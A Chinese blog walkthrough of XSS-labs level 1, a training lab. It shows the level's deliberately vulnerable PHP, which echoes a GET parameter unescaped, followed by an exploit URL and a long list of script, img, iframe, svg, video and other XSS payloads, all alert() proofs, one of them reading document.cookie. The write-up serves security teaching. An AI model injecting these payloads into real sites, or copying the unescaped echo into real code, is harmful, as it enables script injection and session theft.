XSS-labs-level1详解

news2024/11/17 0:22:21

访问题目url

我们分析一下代码层面:

接受名为“name”的GET参数并在页面上显示它。其中包含了一个对alert()的覆盖。当alert()被调用时,它将显示一个确认框提示,然后将页面重定向到“level2.php?keyword=test”的URL,这将把关键字“test”作为GET参数传递给下一个页面。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

 由于没有什么过滤所以大部分使用JavaScript标签法的xss语句均可进行弹窗操作。进行拼接即可

http://127.0.0.1/xss-labs-master/level1.php?name=<script>alert('xss')</script>

script标签

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

img标签

<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">

iframe标签

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

video标签

<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>

svg标签

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>

object标签

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

select标签

<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>

form标签

<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>

body标签

<body onload="alert('xss');"></body>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/544122.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Win10和Win11上设置VS(Visual Studio)默认以管理员权限权限启动设置方法

本次管理员权限启动 如果只需要当前启动为管理员权限&#xff0c;方法如下&#xff1a; 1、使用“开始”菜单 2、根据所使用的 Windows操作系统 版本&#xff0c;执行以下步骤之一&#xff1a; 在 Windows 10 中&#xff0c;打开“开始”菜单&#xff0c;然后滚动到 Visual S…

Mysql——SQL语言入门

1.创建数据库表 【1】创建数据库表t_student &#xff08;1&#xff09;创建数据库&#xff1a; &#xff08;2&#xff09;新建查询 &#xff08;3&#xff09;创建数据库表 ##单行注释 /* 多行注释 多行注释 *//* 建立一张用来存储学生信息的表 字段包含学号、姓名、性别、…

chatgpt赋能Python-python30_3__2

Python30-3**2 – 强大的Python解释器的介绍 Python30-32是一个开源的Python解释器&#xff0c;其名称表示30乘以3的平方&#xff0c;即2700&#xff0c;意味着它是Python 3的改进版本。Python30-32由一群志愿者开发&#xff0c;旨在提供一个高效、强大、易于使用的编程工具&a…

【ChatGPT】无需注册,无需科学上网,无需人工验证的速度超快的 ChatGPT

文章目录 一、ChatGPT介绍二、使用ChatGPT时经常遇到的一些问题三、一个让你呼吸顺畅的 ChatGPT 一、ChatGPT介绍 ChatGPT&#xff0c;全称聊天生成预训练转换器&#xff08;英语&#xff1a;Chat Generative Pre-trained Transformer&#xff09;&#xff0c;是OpenAI开发的人…

【数学建模】矩形桌子能放平(初等模型)

把一把四只脚的椅子往不平的地面上一放&#xff0c;通常只有三只脚着地&#xff0c;放不稳&#xff0c;然而只要稍挪动几次&#xff0c;就可以四脚着地&#xff0c;放稳了。如何解释这种现象&#xff1f; 1 模型假设 椅子四条腿一样长&#xff0c;椅脚与地面接触可视为一个点&…

【MCS-51】定时器原理

时间是我们设计功能模块时一个十分重要的输入或者衡量指标&#xff0c;而51单片机中就为我们提供了两个时域上的模块&#xff1a;定时器和计数器。它们可以帮助我们实现一些非实时性的功能&#xff1a;延迟、计时以及定时等。其中51单片机有两个16位的模块&#xff1a;定时器0&…

SCI论文总重复率29%,单篇重复达到了4%,请问可以了吗?

&#x1f449;&#x1f3fb;有小伙伴问&#xff1a;SCI论文查重29&#xff05;&#xff0c;有一篇跟导师之前发表的论文重复达到了4&#xff05;&#xff0c;请问可以吗&#xff1f;之前重复率是37&#xff05;&#xff0c;改了好久才改下来&#xff0c;但是感觉29&#xff05;…

劝你别去外包,干了三年,感觉废了一半....

先说一下自己的情况&#xff0c;大专生&#xff0c;19年通过校招进入杭州某个外包软件公司&#xff0c;干了接近3年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落! 而我已经在一个企业干了3年的功…

UWB技术在人员管理上的应用

UWB技术在人员管理上的应用 UWB 技术是一种新型的无线通信技术&#xff0c;主要用于低功耗数据快速传输以及室内静止或移动物体/人的定位跟踪与导航。在人员管理方面&#xff0c;UWB 技术有着广泛的应用&#xff0c;可以实现对人员的实时定位管理、历史轨迹追溯、电子围栏、巡…

ipa文件怎么安装到iPhone手机上?

无需越狱帮你把ipa文件安装到苹果手机上 E86苹果签名简介&#xff1a;点击可查看 很多人都知道apk文件是安卓的app应用程序文件名&#xff0c;但有人知道苹果ios的app应用程序app是什么样的文件名吗&#xff1f; 是ipa文件。 ipa文件由三个部分组成&#xff0c;payload目录下…

基于短核苷酸序列频率构建细菌系统发育树

谷禾健康 目前&#xff0c;原核生物的系统发育分类依赖于16S rRNA基因序列&#xff0c;这种序列在细菌中广泛存在且高度保守&#xff0c;但即使16S rDNA测序的结果显示某些细菌间序列相似性≥99%&#xff0c;但它们仍然不能被归为同一物种。因为基因序列中的一些保守区域并不一…

Doxygen源码分析: 子目录简要介绍

2023-05-18 23:56:46 ChrisZZ imzhuofoxmailcom Hompage https://github.com/zchrissirhcz 文章目录 1. doxygen 版本2. doxygen 目录结构.git 目录.github 目录workflows/build_cmake.ymlworkflows/coverity.ymlworkflows/docer_publish.yml addon 目录doxmlparser 目录doxyap…

金币商城功能迭代. 使用版本号乐观锁解决数据的并发修改问题

前言. 公司的商城模块嵌在微信公众号里面, 商城里面除了少量的现金业务, 大头在金币业务里面, 商城本来就是用来增加客户粘度的, 金币是客户通过某些行为免费获得如注册, 绑定,推荐等 需求. 金币方面之前的设计: 1.金币只有一个流水表,消费为负,获取为正 2.并且…

常用的表格检测识别方法 - 表格区域检测方法(下)

——书接上文 Training 半监督网络的训练分两步进行&#xff1a;a)对标记数据独立训练学生模块&#xff0c;由教师模块生成伪标签&#xff1b;b)结合两个模块的训练&#xff0c;得到最终的预测结果。 伪标签框架 实验 数据集&#xff1a; TableBank是文档分析领域中用于表识别…

Beats:如何在 Docker 容器中运行 Filebeat

今天在这篇博客中&#xff0c;我们将学习如何在容器环境中运行 Filebeat。 为了快速了解 Filebeat 是做什么用的&#xff1a; Filebeat用于转发和集中日志数据它重量轻&#xff0c;小型化&#xff0c;使用的资源更少它作为代理安装在你的服务器上它监视来自指定位置的日志文件…

腾讯云EdgeOne为什么能让客户降本增效?

随着数字化时代的来临&#xff0c;各类线上互动场景不断出现&#xff0c;并成为人们日常工作生活中的一部分。然而&#xff0c;基于互联网提供线上娱乐、线上办公、线上购物等服务的企业&#xff0c;在复杂的全球网络环境下会遇到网络延迟不稳定的情况&#xff0c;海外环境更多…

QGIS安装与简单使用流程

QGIS工具是我们地图业务领域比用的工具之一&#xff0c;理论就先不介绍了&#xff0c;今天主要介绍安装使用等基本操作&#xff1a; 一、下载安装 1、官网下载 Download QGIS 显示页面&#xff1a; 可以选择不同版本。我们以3.28为例&#xff0c;点击进入&#xff1a; 点击…

【hive】hive order、sort、distribute、cluster by区别与联系

​ 1、order by hive中的order by 会对查询结果集执行一个全局排序&#xff0c;这也就是说所有的数据都通过一个reduce进行处理的过程&#xff0c;对于大数据集&#xff0c;这个过程将消耗很大的时间来执行。 2、sort by hive的sort by 也就是执行一个局部排序过程。这可以…

怎么将heic格式转化jpg,5种方法立马学

将HEIC格式转换为JPG格式是非常必要的。首先&#xff0c;HEIC&#xff08;.heic&#xff09;格式是苹果最新推出的图像格式。与JPEG相比&#xff0c;HEIC可以存储更多的图像信息&#xff0c;同时还支持透明度、深度和动态范围等功能。但由于HEIC格式相对较新&#xff0c;许多设…

Rust之泛型、特性和生命期(二):通用数据类型

开发环境 Windows 10Rust 1.69.0 VS Code 1.78.2 项目工程 这里继续沿用上次工程rust-demo 通用数据类型 我们使用泛型来为函数签名或结构等项目创建定义&#xff0c;然后我们可以将其用于许多不同的具体数据类型。让我们首先看看如何使用泛型来定义函数、结构、枚举和方法。…